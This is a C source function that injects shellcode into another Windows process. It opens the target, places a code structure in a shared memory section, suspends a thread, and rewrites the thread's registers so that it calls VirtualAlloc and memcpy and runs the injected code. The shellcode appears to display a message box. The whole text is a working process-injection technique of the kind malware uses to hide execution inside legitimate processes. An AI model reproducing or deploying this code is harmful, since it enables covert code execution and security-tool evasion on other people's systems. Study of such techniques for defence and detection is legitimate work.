NTSTATUS TCHInjection(IN DWORD PID)
{
NTSTATUS NtStatus;
OBJECT_ATTRIBUTES ObjAttributes;
CLIENT_ID ClientId;
HANDLE hProcess;
HANDLE hSection;
LPVOID SectionBaseOfView;
ULONG SectionSizeOfView;
LPVOID RemtBeginMark;
DWORD ThreadId;
HANDLE hThread;
ULONG SuspendCount;
CONTEXT ThreadContext;
REMOTE_CODE_STRUCTURE RemoteCodeStruct;
LPVOID rEsi;
ClientId.UniqueProcess = (PVOID)PID;
ClientId.UniqueThread = NULL;
InitializeObjectAttributes(&ObjAttributes,NULL,0,NULL,NULL);
NtStatus = NtOpenProcess(
&hProcess,
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ,
&ObjAttributes,
&ClientId);
if(!NT_SUCCESS(NtStatus))
{
printf("Unable to get a handle to the target process: %X\n",NtStatus);
return NtStatus;
}
NtStatus = GetSharedSection(
hProcess,
&hSection,
&SectionBaseOfView,
&SectionSizeOfView,
&RemtBeginMark);
if(!NT_SUCCESS(NtStatus))
{
printf("Unable to get a valid shared section: %X\n",NtStatus);
goto Finish_;
}
NtStatus = GetInstructionsAddr(hProcess,&RemoteCodeStruct,&rEsi);
if(!NT_SUCCESS(NtStatus))
{
goto Finish_chsc;
}
RtlCopyMemory(RemoteCodeStruct.BeginningMark,BegMark,sizeof(BegMark));
RtlCopyMemory(RemoteCodeStruct.Shellcode,Code,sizeof(Code));
RtlCopyMemory(RemoteCodeStruct.TittleMsgBox,MsgTittle,sizeof(MsgTittle));
RemoteCodeStruct.CreateThread = GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"CreateThread");
RemoteCodeStruct.MessageBoxW = GetProcAddress(LoadLibraryW(TEXT("user32")),"MessageBoxW");
RemoteCodeStruct.lpAddress = NULL;
RemoteCodeStruct.dwSize = sizeof(Code);
RemoteCodeStruct.flAllocationType = MEM_COMMIT | MEM_RESERVE;
RemoteCodeStruct.flProtect = PAGE_EXECUTE_READWRITE;
RemoteCodeStruct.src = PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,Shellcode));
RemoteCodeStruct.count = sizeof(Code);
NtStatus = GetTIDFromPID(PID,&ThreadId);
if(!NT_SUCCESS(NtStatus))
{
goto Finish_chsc;
}
ClientId.UniqueProcess = NULL;
ClientId.UniqueThread = (PVOID)ThreadId;
InitializeObjectAttributes(&ObjAttributes,NULL,NULL,0,NULL);
NtStatus = NtOpenThread(
&hThread,
THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
&ObjAttributes,
&ClientId);
if(!NT_SUCCESS(NtStatus))
{
goto Finish_chsc;
}
NtStatus = NtSuspendThread(hThread,&SuspendCount);
if(!NT_SUCCESS(NtStatus))
{
goto Finish_chtd;
}
/* Resume thread as soon as possible */
RtlZeroMemory(&ThreadContext,sizeof(CONTEXT));
ThreadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
NtStatus = NtGetContextThread(hThread,&ThreadContext);
if(!NT_SUCCESS(NtStatus))
{
NtResumeThread(hThread,&SuspendCount);
goto Finish_chtd;
}
RemoteCodeStruct.tc_Eip = ThreadContext.Eip;
RemoteCodeStruct._Flags = ThreadContext.EFlags;
RemoteCodeStruct._Eax = ThreadContext.Eax;
RemoteCodeStruct._Ecx = ThreadContext.Ecx;
RemoteCodeStruct._Edx = ThreadContext.Edx;
RemoteCodeStruct._Ebx = ThreadContext.Ebx;
RemoteCodeStruct._Ebp = ThreadContext.Ebp;
RemoteCodeStruct._Esi = ThreadContext.Esi;
RemoteCodeStruct._Edi = ThreadContext.Edi;
RemoteCodeStruct._Esp = ThreadContext.Esp;
RtlCopyMemory(SectionBaseOfView,&RemoteCodeStruct,sizeof(REMOTE_CODE_STRUCTURE));
ThreadContext.Ebp = (DWORD)RemtBeginMark;
ThreadContext.Eip = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("kernel32")),"VirtualAlloc");
ThreadContext.Esp = (DWORD)PTR_ADD_OFFSET(RemtBeginMark,FIELD_OFFSET(REMOTE_CODE_STRUCTURE,RetRmCode0));
ThreadContext.Esi = (DWORD)rEsi;
ThreadContext.Edi = (DWORD)GetProcAddress(GetModuleHandleW(TEXT("ntdll")),"memcpy");
NtStatus = NtSetContextThread(hThread,&ThreadContext);
if(!NT_SUCCESS(NtStatus))
{
NtResumeThread(hThread,&SuspendCount);
goto Finish_chtd;
}
NtStatus = NtResumeThread(hThread,&SuspendCount);
if(!NT_SUCCESS(NtStatus))
{
goto Finish_chtd;
}
printf("Injection successed \n");
NtStatus = STATUS_SUCCESS;
Finish_chtd:
NtClose(hThread);
Finish_chsc:
NtUnmapViewOfSection(GetCurrentProcess(),SectionBaseOfView);
NtClose(hSection);
Finish_:
NtClose(hProcess);
return NtStatus;
}